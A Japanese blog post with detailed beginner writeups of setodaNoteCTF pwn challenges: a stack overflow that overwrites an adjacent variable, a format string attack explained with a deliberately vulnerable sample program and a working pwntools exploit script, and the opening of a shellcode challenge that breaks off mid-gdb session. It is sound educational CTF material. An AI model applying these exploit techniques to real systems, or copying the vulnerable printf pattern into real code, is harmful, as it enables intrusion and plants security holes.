あさっちの不定期日記

色々ごった煮。お勉強の話もあればテニスの話をするかもしれない。

setodaNoteCTF pwn 冗長writeup

はじめに

setodaNoteCTFのpwn解説です。

pwnのwriteupは、その多くが読者にそこそこの知識がある前提で書かれていて、初心者が読むには難しすぎると個人的に感じています。

もともとが難しい分野ですからね…。自分もまだまだですが。

とんでもなく長くなりましたが、この分量を理解しないといけないほど難しい、というより単にめちゃくちゃ丁寧にしました。

初心者向けの大会ということもあり、gdbの使い方などもちょくちょく書いています。

読みづらいかもしれませんが、自分の手元で確認しながらゆっくり復習してもらえればと思います。

CTFはwriteupを読んで復習することで一番成長します。これはマジです。

あと苦手意識は頑張ってなくしましょう。いずれ面白いと思う時が来ます、きっと…

なお、読者層は「C言語Pythonは読めるけどアセンブリとかデバッガ(gdb)とか意味不明」くらいを想定しています。

ただしASCIIコードくらいは理解している前提で進めていきます。

setodaNoteCTFに参加していてこの記事にたどり着く人なら大丈夫でしょう。

1問目:tkys_let_die

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void printFlag(void) {
    system("/bin/cat ./flag");
}

int main(void) {
    char gate[6]="close";
    char name[16]="..";
    printf("\n");
    /* 中略 */
    printf("\n");
    
    printf("You'll need permission to pass. What's your name?\n> ");
    scanf("%32[^\n]", name);
    if (strcmp(gate,"open")==0) {
        printFlag();
    }else{
        printf("Gate is %s.\n", gate);
        printf("Goodbay %s.\n", name);
    }
    return 0;
}

動的解析不要のwriteup

まずはローカル環境でもflagを適当に用意しておきます。

$ echo 'flag_dummy' > ./flag

ここから実行ファイルの挙動を確認していきます。

バグを起こさないような短いnameを入力しても、当然gate変数は書き換わることはないため"close"のままです。

(巨大アスキーアートは省略します)

$ ./gate     

You'll need permission to pass. What's your name?
> hogehoge
Gate is close.
Goodbay hogehoge.

また、長いnameを入力するとgateの変数が書き換わっています。

$ ./gate

You'll need permission to pass. What's your name?
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa       
Gate is aaaaaa.
Goodbay aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.

では、いい感じにgateが書き換わるくらいの長さに色々いじってgate変数が"open"になるようにしてみます。

$ ./gate

You'll need permission to pass. What's your name?
> aaaaaaaaaaaaaaaaaaaaaaaaaaopen
flag_dummy

これだけです。動的解析するまでもないです。リモートサーバにこの入力をコピペすれば終了。

gdbで動的解析

…が、一応gdb(というかその拡張であるgef)で挙動を追ってみます。このレベルであれば通常のgdbgdb-pedaでも十分です。

gefを入れたい人は以下のコマンド2行目からどうぞ。gdbすら入っていない人は1行目から。

最新版のKali Linuxなどを使っている人はgefまでデフォルトで入っています。

$ sudo apt install gdb
$ wget -O ~/.gdbinit-gef.py -q https://github.com/hugsy/gef/raw/master/gef.py
$ echo source ~/.gdbinit-gef.py >> ~/.gdbinit

では改めて、gdb起動。以下のようになっていればOK。

$ gdb -q ./gate

GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
[*] 3 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./gate...
(No debugging symbols found in ./gate)
gef➤  

まずは、上のソースコードmain関数部分がアセンブリ言語的にどうなっているか見るためにディスアセンブルします。コマンド名はdisas (関数名)です。

なお、表示されるアドレスは環境によって異なります。適宜自分の環境で読み替えてください。

gef➤ disas main

Dump of assembler code for function main:
   0x0000000000001198 <+0>:     push   rbp
   0x0000000000001199 <+1>:     mov    rbp,rsp
   0x000000000000119c <+4>:     sub    rsp,0x20
   0x00000000000011a0 <+8>:     mov    DWORD PTR [rbp-0x6],0x736f6c63
   0x00000000000011a7 <+15>:    mov    WORD PTR [rbp-0x2],0x65
   0x00000000000011ad <+21>:    mov    QWORD PTR [rbp-0x20],0x2e2e
   0x00000000000011b5 <+29>:    mov    QWORD PTR [rbp-0x18],0x0
   0x00000000000011bd <+37>:    mov    edi,0xa
   0x00000000000011c2 <+42>:    call   0x1030 <putchar@plt>
...
   0x00000000000012de <+326>:   lea    rax,[rbp-0x20]
   0x00000000000012e2 <+330>:   mov    rsi,rax
   0x00000000000012e5 <+333>:   lea    rdi,[rip+0x12c9]        # 0x25b5
   0x00000000000012ec <+340>:   mov    eax,0x0
   0x00000000000012f1 <+345>:   call   0x1080 <__isoc99_scanf@plt>
   0x00000000000012f6 <+350>:   lea    rax,[rbp-0x6]
   0x00000000000012fa <+354>:   lea    rsi,[rip+0x12bc]        # 0x25bd
   0x0000000000001301 <+361>:   mov    rdi,rax
   0x0000000000001304 <+364>:   call   0x1070 <strcmp@plt>
   0x0000000000001309 <+369>:   test   eax,eax
   0x000000000000130b <+371>:   jne    0x1314 <main+380>
   0x000000000000130d <+373>:   call   0x1185 <printFlag>
   0x0000000000001312 <+378>:   jmp    0x1344 <main+428>
   0x0000000000001314 <+380>:   lea    rax,[rbp-0x6]
   0x0000000000001318 <+384>:   mov    rsi,rax
   0x000000000000131b <+387>:   lea    rdi,[rip+0x12a0]        # 0x25c2
   0x0000000000001322 <+394>:   mov    eax,0x0
   0x0000000000001327 <+399>:   call   0x1060 <printf@plt>
   0x000000000000132c <+404>:   lea    rax,[rbp-0x20]
   0x0000000000001330 <+408>:   mov    rsi,rax
   0x0000000000001333 <+411>:   lea    rdi,[rip+0x1295]        # 0x25cf
   0x000000000000133a <+418>:   mov    eax,0x0
   0x000000000000133f <+423>:   call   0x1060 <printf@plt>
   0x0000000000001344 <+428>:   mov    eax,0x0
   0x0000000000001349 <+433>:   leave  
   0x000000000000134a <+434>:   ret    
End of assembler dump.

この問題のポイントは2つです

  • gate変数ってどこにあるの?

  • name変数ってどこにあるの?

ではまず前者から。

最初はchar gate[6]="close"で、基本的にリトルエンディアン(末尾側から順にメモリに格納する方式)で処理されていきます。

なので、"close"がメモリに格納される際は65 73 6f 6c 63と逆順になることに注意です。

これに留意して先ほどのディスアセンブル結果で探すと、

   0x00000000000011a0 <+8>:     mov    DWORD PTR [rbp-0x6],0x736f6c63
   0x00000000000011a7 <+15>:    mov    WORD PTR [rbp-0x2],0x65

がそれらしいと目星をつけられます。

このmovという命令は、mov A Bで「AにBを代入する」くらいの理解で大丈夫です。

なので、ここでは「DWORD PTRとかはよく分からんがRBPという変数(厳密にはレジスタと言います)の近くに"close"がセットされているのでは?」となります。

これが正しいことを確認しましょう。

代入が終わった次の命令0x00000000000011ad <+21>: mov QWORD PTR [rbp-0x20],0x2e2eの部分にブレークポイントを張ります。

このブレークポイントで停止すると、「main+15までは実行して、main+21以降は実行していない」状態です。

コマンドはb *(アドレス)です。アスタリスク(*)を忘れずに。

gef➤ b *main+21

Breakpoint 1 at 0x11ad

そして実行。ブレークポイントを張った*main+21実行直前で止まります。コマンドはrです。

gef➤ r

(出力省略)

この時のRBP周辺をみてみます。コマンドはtel (アドレス) (表示行数)です。表示行数を設定しない場合、デフォルトで10です。

なお、これは設定したアドレス 以降 の情報しか見られないので、今回はRBP以前のアドレスも見るために少し前を指定します。

RBPなどのレジスタを設定するときは$をつけます。

gef➤ tel $rbp-0x20 15

0x00007fffffffdf30│+0x0000: 0x0000555555555350  →  <__libc_csu_init+0> push r15  ← $rsp                                                                           
0x00007fffffffdf38│+0x0008: 0x00005555555550a0  →  <_start+0> xor ebp, ebp
0x00007fffffffdf40│+0x0010: 0x00007fffffffe040  →  0x0000000000000001
0x00007fffffffdf48│+0x0018: 0x0065736f6c630000
0x00007fffffffdf50│+0x0020: 0x0000555555555350  →  <__libc_csu_init+0> push r15  ← $rbp                                                                           
0x00007fffffffdf58│+0x0028: 0x00007ffff7e14d0a  →  <__libc_start_main+234> mov edi, eax                                                                           
0x00007fffffffdf60│+0x0030: 0x00007fffffffe048  →  0x00007fffffffe385  →  "/home/kali/Downloads/die/gate"                                                         
0x00007fffffffdf68│+0x0038: 0x0000000100000000
0x00007fffffffdf70│+0x0040: 0x0000555555555198  →  <main+0> push rbp
0x00007fffffffdf78│+0x0048: 0x00007ffff7e147cf  →  <init_cacheinfo+287> mov rbp, rax                                                                              
0x00007fffffffdf80│+0x0050: 0x0000000000000000
0x00007fffffffdf88│+0x0058: 0x2f9571095b8cde23
0x00007fffffffdf90│+0x0060: 0x00005555555550a0  →  <_start+0> xor ebp, ebp
0x00007fffffffdf98│+0x0068: 0x0000000000000000
0x00007fffffffdfa0│+0x0070: 0x0000000000000000

ありました。アドレス0x00007fffffffdf48の中身が0x0065736f6c630000となっているので、(リトルエンディアンに注意して) 0x00007fffffffdf4a ~ 0x00007fffffffdf4eに"close"という文字列が格納 ということが判明します。

では後半。

nameがどこに格納されるかを追うため、今度はscanf直前にブレークポイントを張ります。具体的にはmain+345の直前部分です。

そして、今の時点ではmain+21で止まっているので、コマンドcで再開します(rではありません)。

gef➤ b *main+345

Breakpoint 2 at 0x5555555552f1

gef➤ c

Breakpoint 2, 0x00005555555552f1 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x0               
$rdx   : 0x0               
$rsp   : 0x00007fffffffdf30  →  0x0000000000002e2e (".."?)
$rbp   : 0x00007fffffffdf50  →  0x0000555555555350  →  <__libc_csu_init+0> push r15
$rsi   : 0x00007fffffffdf30  →  0x0000000000002e2e (".."?)
$rdi   : 0x00005555555565b5  →  "%32[^\n]"
$rip   : 0x00005555555552f1  →  <main+345> call 0x555555555080 <__isoc99_scanf@plt>
$r8    : 0xa               
$r9    : 0x34              
$r10   : 0x0000555555556580  →  "You'll need permission to pass. What's your name?\[...]"
$r11   : 0x246             
$r12   : 0x00005555555550a0  →  <_start+0> xor ebp, ebp
$r13   : 0x0               
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf30│+0x0000: 0x0000000000002e2e (".."?)   ← $rsp, $rsi
0x00007fffffffdf38│+0x0008: 0x0000000000000000
0x00007fffffffdf40│+0x0010: 0x00007fffffffe040  →  0x0000000000000001
0x00007fffffffdf48│+0x0018: 0x0065736f6c630000
0x00007fffffffdf50│+0x0020: 0x0000555555555350  →  <__libc_csu_init+0> push r15  ← $rbp
0x00007fffffffdf58│+0x0028: 0x00007ffff7e14d0a  →  <__libc_start_main+234> mov edi, eax
0x00007fffffffdf60│+0x0030: 0x00007fffffffe048  →  0x00007fffffffe385  →  "/home/kali/Downloads/die/gate"
0x00007fffffffdf68│+0x0038: 0x0000000100000000
──────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555555552e2 <main+330>       mov    rsi, rax
   0x5555555552e5 <main+333>       lea    rdi, [rip+0x12c9]        # 0x5555555565b5
   0x5555555552ec <main+340>       mov    eax, 0x0
 → 0x5555555552f1 <main+345>       call   0x555555555080 <__isoc99_scanf@plt>
   ↳  0x555555555080 <__isoc99_scanf@plt+0> jmp    QWORD PTR [rip+0x2fba]        # 0x555555558040 <__isoc99_scanf@got.plt>
      0x555555555086 <__isoc99_scanf@plt+6> push   0x5
      0x55555555508b <__isoc99_scanf@plt+11> jmp    0x555555555020
      0x555555555090 <__cxa_finalize@plt+0> jmp    QWORD PTR [rip+0x2f62]        # 0x555555557ff8
      0x555555555096 <__cxa_finalize@plt+6> xchg   ax, ax
      0x555555555098                  add    BYTE PTR [rax], al
──────────────────────────────────────────────────────── arguments (guessed) ────
__isoc99_scanf@plt (
   $rdi = 0x00005555555565b5 → "%32[^\n]",
   $rsi = 0x00007fffffffdf30 → 0x0000000000002e2e (".."?)
)
──────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "gate", stopped 0x5555555552f1 in main (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555552f1 → main()
─────────────────────────────────────────────────────────────────────────────────

すると、上の部分でarguments(guessed)という部分があると思います1

これは、C言語でいうscanf("%32[^\n]", name);を「"%32[^\n]"という規則にのっとって読み込んだ文字をnameに格納する」と解釈するならば、

このアセンブリ言語でのscanfは「レジスタRDIに書かれている規則にのっとって読み取った文字をレジスタRSI=0x00007fffffffdf30に格納する」となります。

念のため確認してみます。コマンドniで一行だけ(つまりmain+345のscanf部分だけ)実行します。

すると、scanfの性質上標準入力からの入力待ちになるので、適当にAAAAと(あえて短いものを)入力します。

gef➤ ni
> AAAA

(出力省略)

そして、アドレス0x00007fffffffdf30の中を覗きます2telコマンドではアスタリスク不要です。

gef➤ tel 0x00007fffffffdf30 5

0x00007fffffffdf30│+0x0000: 0x0000000041414141 ("AAAA"?)         ← $rsp
0x00007fffffffdf38│+0x0008: 0x0000000000000000
0x00007fffffffdf40│+0x0010: 0x00007fffffffe040  →  0x0000000000000001
0x00007fffffffdf48│+0x0018: 0x0065736f6c630000
0x00007fffffffdf50│+0x0020: 0x0000555555555350  →  <__libc_csu_init+0> push r15  ← $rbp   

これにて、0x00007fffffffdf30 ~ 0x00007fffffffdf33に"AAAA"という文字列が格納 ということが判明します(先ほどの"close"の部分も見えますね)。

以上をまとめると、

「アドレス0x00007fffffffdf30から"A"を連続で入力し続けると、27文字目で変数nameが格納されている0x00007fffffffdf4a部分に突入し、もともとあった"close"の文字列も上書き可能である」

=> 「"A" * 26 + "open" を入力すればよい」

となります。

2問目:1989

ソースコードも実行ファイルもなしです。リモートサーバに接続すると以下のように表示3

$ nc 10.1.1.10 13030
===========================================================
   _______          ________            __ ____  _  _   
  / ____\ \        / /  ____|          /_ |___ \| || |  
 | |     \ \  /\  / /| |__     ______   | | __) | || |_ 
 | |      \ \/  \/ / |  __|   |______|  | ||__ <|__   _|
 | |____   \  /\  /  | |____            | |___) |  | |  
  \_____|   \/  \/   |______|           |_|____/   |_|  
                                                        
========================================================== 

        | 
flag    | [0x56628060] >> flag is here << 
        | 

Ready > hoge
Your Inpur : hoge

基本的にReady >の後に何か文字を入力すると、それと同じ入力がYour Inpur :として表示されます(ここはおそらく作問時の誤字ですね)。

さて、CWE-134を調べるとFormat String Attack(書式文字列攻撃)とのこと。

これでピンとくる人は、方針に関しては大丈夫でしょう。

簡単に言うと、printf("%s", flag)はいいけどprintf(flag)はマズい、ということです。

いまのコンパイラは優秀なので、後者のような書き方をするとWarningが出るようになっています。

Format String Attackとは

サンプルとして以下のsample.cを紹介します。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char buf[32];

int main(void)
{
    printf("Format String Attack Test\n");
    scanf("%31s", buf);
    printf(buf);
    return 0;
}

当然ですが、printf(buf)のところが問題です。これがどう意図せぬ挙動を引き起こすかを見てみます。

色々設定を無効にするため、コンパイル

$ gcc sample.c -o sample -fstack-protector -fno-PIE -no-pie -m32

で。最低でも32ビットコンパイルをするための-m32オプションだけは必須です。

32ビットコンパイルができない場合は

$ sudo apt install libc6-dev-i386 

の後再度実行してください。それ以外のエラーはおそらくsudo apt upgradeなどで解消します。

この実行ファイルsampleを動かし、%p,%p,%p,%p,%pなどを入力すると一見不思議な結果が返ってきます。

$ ./sample

Format String Attack Test
%p,%p,%p,%p,%p
0x804c060,0xffb60aac,0x80491fd,0xf7f5a230,0xffb60a00                                                                                                                                                                                                                                                      

どこからこれが登場したのか、gdbで説明します。

まずは「gdb起動→main関数ディスアセンブル→(謎の出力をする)printf直前でブレークポイント」を実行します。

前半に登場するcall 0x8049040 <puts@plt>printf("Format String Attack Test\n");の部分なので関係ありません。

$ gdb -q ./sample

gef➤ disas main

Dump of assembler code for function main:
   0x08049182 <+0>:     lea    ecx,[esp+0x4]
   0x08049186 <+4>:     and    esp,0xfffffff0
   0x08049189 <+7>:     push   DWORD PTR [ecx-0x4]
   0x0804918c <+10>:    push   ebp
   0x0804918d <+11>:    mov    ebp,esp
   0x0804918f <+13>:    push   ecx
   0x08049190 <+14>:    sub    esp,0x4
   0x08049193 <+17>:    sub    esp,0xc
   0x08049196 <+20>:    push   0x804a008
   0x0804919b <+25>:    call   0x8049040 <puts@plt>
   0x080491a0 <+30>:    add    esp,0x10
   0x080491a3 <+33>:    sub    esp,0x8
   0x080491a6 <+36>:    push   0x804c060
   0x080491ab <+41>:    push   0x804a022
   0x080491b0 <+46>:    call   0x8049060 <__isoc99_scanf@plt>
   0x080491b5 <+51>:    add    esp,0x10
   0x080491b8 <+54>:    sub    esp,0xc
   0x080491bb <+57>:    push   0x804c060
   0x080491c0 <+62>:    call   0x8049030 <printf@plt>
   0x080491c5 <+67>:    add    esp,0x10
   0x080491c8 <+70>:    mov    eax,0x0
   0x080491cd <+75>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x080491d0 <+78>:    leave  
   0x080491d1 <+79>:    lea    esp,[ecx-0x4]
   0x080491d4 <+82>:    ret    
End of assembler dump.

gef➤ b *main+62

そしてrコマンドで謎出力をするmain+62直前まで実行。途中で要求される標準入力は%p,%p,%p,%p,%pで。

gef➤ r
%p,%p,%p,%p,%p

Breakpoint 1, 0x080491c0 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x1       
$ebx   : 0x0       
$ecx   : 0xf7f3e380  →  0x00020002
$edx   : 0xf7faf000  →  0x001e4d6c
$esp   : 0xffffd0f0  →  0x0804c060  →  "%p,%p,%p,%p,%p"
$ebp   : 0xffffd108  →  0x00000000
$esi   : 0xf7faf000  →  0x001e4d6c
$edi   : 0xf7faf000  →  0x001e4d6c
$eip   : 0x080491c0  →  0xfffe6be8  →  0x00000000
$eflags: [zero carry parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd0f0│+0x0000: 0x0804c060  →  "%p,%p,%p,%p,%p"      ← $esp
0xffffd0f4│+0x0004: 0x0804c060  →  "%p,%p,%p,%p,%p"
0xffffd0f8│+0x0008: 0xffffd1cc  →  0xffffd39a  →  "COLORFGBG=15;0"
0xffffd0fc│+0x000c: 0x080491fd  →  <__libc_csu_init+29> lea ebx, [ebp-0xf0]
0xffffd100│+0x0010: 0xf7fe3230  →   push ebp
0xffffd104│+0x0014: 0xffffd120  →  0x00000001
0xffffd108│+0x0018: 0x00000000   ← $ebp
0xffffd10c│+0x001c: 0xf7de8e46  →  <__libc_start_main+262> add esp, 0x10
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80491b5 <main+51>        add    esp, 0x10
    0x80491b8 <main+54>        sub    esp, 0xc
    0x80491bb <main+57>        push   0x804c060
 →  0x80491c0 <main+62>        call   0x8049030 <printf@plt>
   ↳   0x8049030 <printf@plt+0>   jmp    DWORD PTR ds:0x804c00c
       0x8049036 <printf@plt+6>   push   0x0
       0x804903b <printf@plt+11>  jmp    0x8049020
       0x8049040 <puts@plt+0>     jmp    DWORD PTR ds:0x804c010
       0x8049046 <puts@plt+6>     push   0x8
       0x804904b <puts@plt+11>    jmp    0x8049020
───────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
printf@plt (
   [sp + 0x0] = 0x0804c060 → "%p,%p,%p,%p,%p",
   [sp + 0x4] = 0x0804c060 → "%p,%p,%p,%p,%p",
   [sp + 0x8] = 0xffffd1cc → 0xffffd39a → "COLORFGBG=15;0",
   [sp + 0xc] = 0x080491fd → <__libc_csu_init+29> lea ebx, [ebp-0xf0]
)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sample", stopped 0x80491c0 in main (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80491c0 → main()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

ここで、stackの部分に注目すると

0xffffd0f0│+0x0000: 0x0804c060  →  "%p,%p,%p,%p,%p"      ← $esp
0xffffd0f4│+0x0004: 0x0804c060  →  "%p,%p,%p,%p,%p"
0xffffd0f8│+0x0008: 0xffffd1cc  →  0xffffd39a  →  "COLORFGBG=15;0"
0xffffd0fc│+0x000c: 0x080491fd  →  <__libc_csu_init+29> lea ebx, [ebp-0xf0]
0xffffd100│+0x0010: 0xf7fe3230  →   push ebp
0xffffd104│+0x0014: 0xffffd120  →  0x00000001
0xffffd108│+0x0018: 0x00000000   ← $ebp
0xffffd10c│+0x001c: 0xf7de8e46  →  <__libc_start_main+262> add esp, 0x10

となっていることに留意します。

これ以上ブレークポイントは張っていないので、いったんコマンドcでプログラムを最後まで実行し、2回目のprintf出力を表示させます。

gef➤  c
Continuing.
0x804c060,0xffffd1cc,0x80491fd,0xf7fe3230,0xffffd120[Inferior 1 (process 71515) exited normally]

ここで表示される値は「stackの2行目からのアドレス」と一致しています4

そして、先ほどは%pとしていましたが、これを%sに置き換えると、「stackの2行目からのアドレス の中身 」に代わります。

当然、1つ目(アドレス0x0804c060)以外の中身は、ASCIIで表示される範囲外のバイトを含むため文字化けします。

$ ./sample
Format String Attack Test
%s,%s,%s,%s   
%s,%s,%s,%s,�3���3���3��
                        4��B4��c4��p4���4���4���4���4���4���4���4��5���5���5���5���5��6��6��i6��|6���6���6���6���6���6��7�� 7��97���7���7���7���7���7��)8��@8��e8��v8���8���8���8��9����;9��*?��B?��Z?��o?���?���?���?���?��,�������
                                                                                                  ���)���t%1���,U��W���                              

ここまででFormat String Attackの説明はおしまいです。

ざっくり言うと、printfはこのstackの部分に積まれた情報を%sなど指定されたフォーマットをもとに表示する仕組みになっています。

なので、簡単にこの脆弱性をまとめると、「printf(flag)のようなコードに対してflag="%p"とするとstackという場所(の2行目以降)に積まれているアドレスそのものが、flag="%s"とするとそのアドレスの中身が表示される」となります。

writeup

では問題の解説に移ります。まずは%pを入力してみます。

$ nc 10.1.1.10 13030

        | 
flag    | [0x565b8060] >> flag is here << 
        | 

Ready > %p,%p,%p,%p,%p,%p
Your Inpur : 0xffc98a00,0xffc98e08,0x565b5306,0x252c7025,0x70252c70,0x2c70252c

表示されるアドレスは毎回異なりますので注意が必要です。

ここで"%p,"という文字列そのものがリトルエンディアンで格納されるときは2c 70 25となっていて、上のアドレスの4番目がこれによく似ていることに注意すると、stackの構造としては以下のようになっていると想像できます。

stack│+0x0000: ????????  (stackの先頭)
stack│+0x0004: 0xffc98a00  (最初の%p部分, stack2行目)
stack│+0x0008: 0xffc98e08  (2回目の%p部分)
stack│+0x000c: 0x565b5306  (3回目の%p部分)
stack│+0x0010: 0x252c7025  (ここから入力文字列がリトルエンディアンで格納)

では、ASCIIで表示できるかどうかは一旦置いておいて、文字列として\x60\x80\x5b\x56が入力できた場合を考えます。

すると、当然ですが以下のようなstackの状態になります。

stack│+0x0000: ????????
stack│+0x0004: 0xffc98a00  (最初の%p部分)
stack│+0x0008: 0xffc98e08
stack│+0x000c: 0x565b5306
stack│+0x0010: 0x565b8060  (flagのあるアドレス)

そして、この状態で%sを使えばflagのあるアドレスの中身(つまりflag自身)を覗けます。

先頭を除いて4行目のアドレスの中身表示なので%sを4回使わなければいけないように見えますが、実は%(count)$sとすることで「先頭を除いて(count)行目のstackのアドレスの中身表示」が可能です。

なので、理論上は「flagのアドレス + '%4$s'」を入力すれば答えとなります。

では、\x60\x80\x5b\x56などといったflagのアドレスをどう入力すればよいでしょうか?

\x80はASCII表示できませんし、毎回設定されるflagのアドレスはバラバラなので

$ python3 -c "print('\x60\x80\x5b\x56')" | nc 10.1.1.10 13030

のようなパイプは使えません。

そこで、ここではpwntoolsを用いたPythonでのエクスプロイトコードを紹介します。

今回のWebshellには入っていますが、手元のローカル環境で色々デバッグしたいときは$ python3 -m pip install pwntoolsでどうぞ。

#!/usr/bin/python3
from pwn import *

# リモートサーバ接続
conn = remote('10.1.1.10', 13030)

# flagアドレス直前まで取得
conn.recvuntil(b'flag    | [')

# flagアドレス(str型)を取得後、一度int型に直してリトルエンディアンに変換
flag_addr = conn.recvuntil(b']')[:-1].decode()
flag_addr = int(flag_addr, 16).to_bytes(4, 'little')

# payload生成、送信
payload = flag_addr + b'%4$s'
conn.recvuntil(b'Ready > ')
conn.sendline(payload)
print(conn.recvline())

# なくてもよい
conn.close()

これをリモートサーバ上で$ vi ./exploit.pyなどとして作成し、実行すれば良いでしょう。

3問目:Shellcode

ソースコードはなく、実行ファイルが与えられます。いかにもpwnといった感じです。

「ディスアセンブルアセンブリ言語読んで挙動把握!エクスプロイトコード書く!」

みたいな(決して間違ってはないですが)不親切なwriteupにはしません。

まずは(万能)静的解析ツールGhidraを導入します。

基本的にGhidraの使い方 | 初心者がリバースエンジニアリングツールGhidraを使ってみたを参照すればよいでしょう。

この記事の先頭から「Ghidraでmain関数をデコンパイルする」まで読んで、今回の実行ファイルshellcodeを使って自分で同じように動かしてみてください。本当に親切に書かれています。

さて、Ghidraでのデコンパイル結果がこちらです。

undefined8 main(void)
{
  char local_58 [80];
  
  setvbuf(stdout,local_58,2,0x50);
  puts("       |");
  printf("target | [%p]\n",local_58);
  puts("       |");
  printf("Well. Ready for the shellcode?\n> ");
  __isoc99_scanf("%[^\n]",local_58);
  puts(local_58);
  return 0;
}

念のためですが、このデコンパイル結果を100%信用しないようにしましょう。

実行ファイルによっては関数の引数の個数が時々バラバラだったりします。

なので、だいたいの挙動を(アセンブリ言語よりは見やすい形で)把握するくらいの認識で。

ちなみに、定義自体はされているがmain関数では呼び出されていない隠された関数(例えばshow_flagみたいな露骨に怪しそうな関数など)がないかどうかは、gdbを起動して

gef➤  i functions

All defined functions:

Non-debugging symbols:
0x0000000000001000  _init
0x0000000000001030  puts@plt
0x0000000000001040  printf@plt
0x0000000000001050  setvbuf@plt
0x0000000000001060  __isoc99_scanf@plt
0x0000000000001070  __cxa_finalize@plt
0x0000000000001080  _start
0x00000000000010b0  deregister_tm_clones
0x00000000000010e0  register_tm_clones
0x0000000000001120  __do_global_dtors_aux
0x0000000000001160  frame_dummy
0x0000000000001165  main
0x0000000000001200  __libc_csu_init
0x0000000000001260  __libc_csu_fini
0x0000000000001264  _fini

で確認できます(もしかするとgefにしかないかもしれません)。本問題では特に怪しい関数はありません。

挙動確認

上のデコンパイル結果を見るに、重要そうなのは

  __isoc99_scanf("%[^\n]",local_58);
  puts(local_58);

くらいで、scanfしてputsで表示。これだけです(ちなみにここでGhidraの出番は終了です)。

当然printfではないのでFormat String Attackは使えません。また、入力が長いと

$ ./shellcode

       |
target | [0x7ffc4c759850]
       |
Well. Ready for the shellcode?
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
zsh: segmentation fault (core dumped)  ./shellcode

とエラーを吐きます。

ではここから、このエラーの原因をgdbで探っていきます。

例によって「gdb起動 → ディスアセンブルscanf直前にブレークポイント

またmain関数終了直前にもブレークポイントを張っておきます。そして(scanf直前まで)実行。

$ gdb -q ./shellcode

gef➤  disas main
Dump of assembler code for function main:
   0x0000000000001165 <+0>:   push   rbp
   0x0000000000001166 <+1>:   mov    rbp,rsp
...
   0x00000000000011d9 <+116>: mov    eax,0x0
   0x00000000000011de <+121>: call   0x1060 <__isoc99_scanf@plt>
   0x00000000000011e3 <+126>: lea    rax,[rbp-0x50]
   0x00000000000011e7 <+130>: mov    rdi,rax
   0x00000000000011ea <+133>: call   0x1030 <puts@plt>
   0x00000000000011ef <+138>: mov    eax,0x0
   0x00000000000011f4 <+143>: leave  
   0x00000000000011f5 <+144>: ret    
End of assembler dump.

gef➤  b *main+121
Breakpoint 1 at 0x11de

gef➤  b *main+144
Breakpoint 2 at 0x11f5

gef➤  r

       |
target | [0x7fffffffdf20]
       |
Well. Ready for the shellcode?
> 
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x0               
$rdx   : 0x00007ffff7dcf8c0  →  0x0000000000000000
$rsp   : 0x00007fffffffdf20  →  0x00007fffffffdf88  →  0x00007fffffffe058  →  0x00007fffffffe375  →  "/mnt/hgfs/vm_share/shellcode/shellcode"
$rbp   : 0x00007fffffffdf70  →  0x0000555555555200  →  <__libc_csu_init+0> push r15
$rsi   : 0x00007fffffffdf20  →  0x00007fffffffdf88  →  0x00007fffffffe058  →  0x00007fffffffe375  →  "/mnt/hgfs/vm_share/shellcode/shellcode"
$rdi   : 0x0000555555556042  →  0x1b01005d0a5e5b25 ("%[^\n]"?)
$rip   : 0x00005555555551de  →  <main+121> call 0x555555555060 <__isoc99_scanf@plt>
$r8    : 0x21              
$r9    : 0x6552202e6c6c6557 ("Well. Re"?)
$r10   : 0x20726f6620796461 ("ady for "?)
$r11   : 0x246             
$r12   : 0x0000555555555080  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe050  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
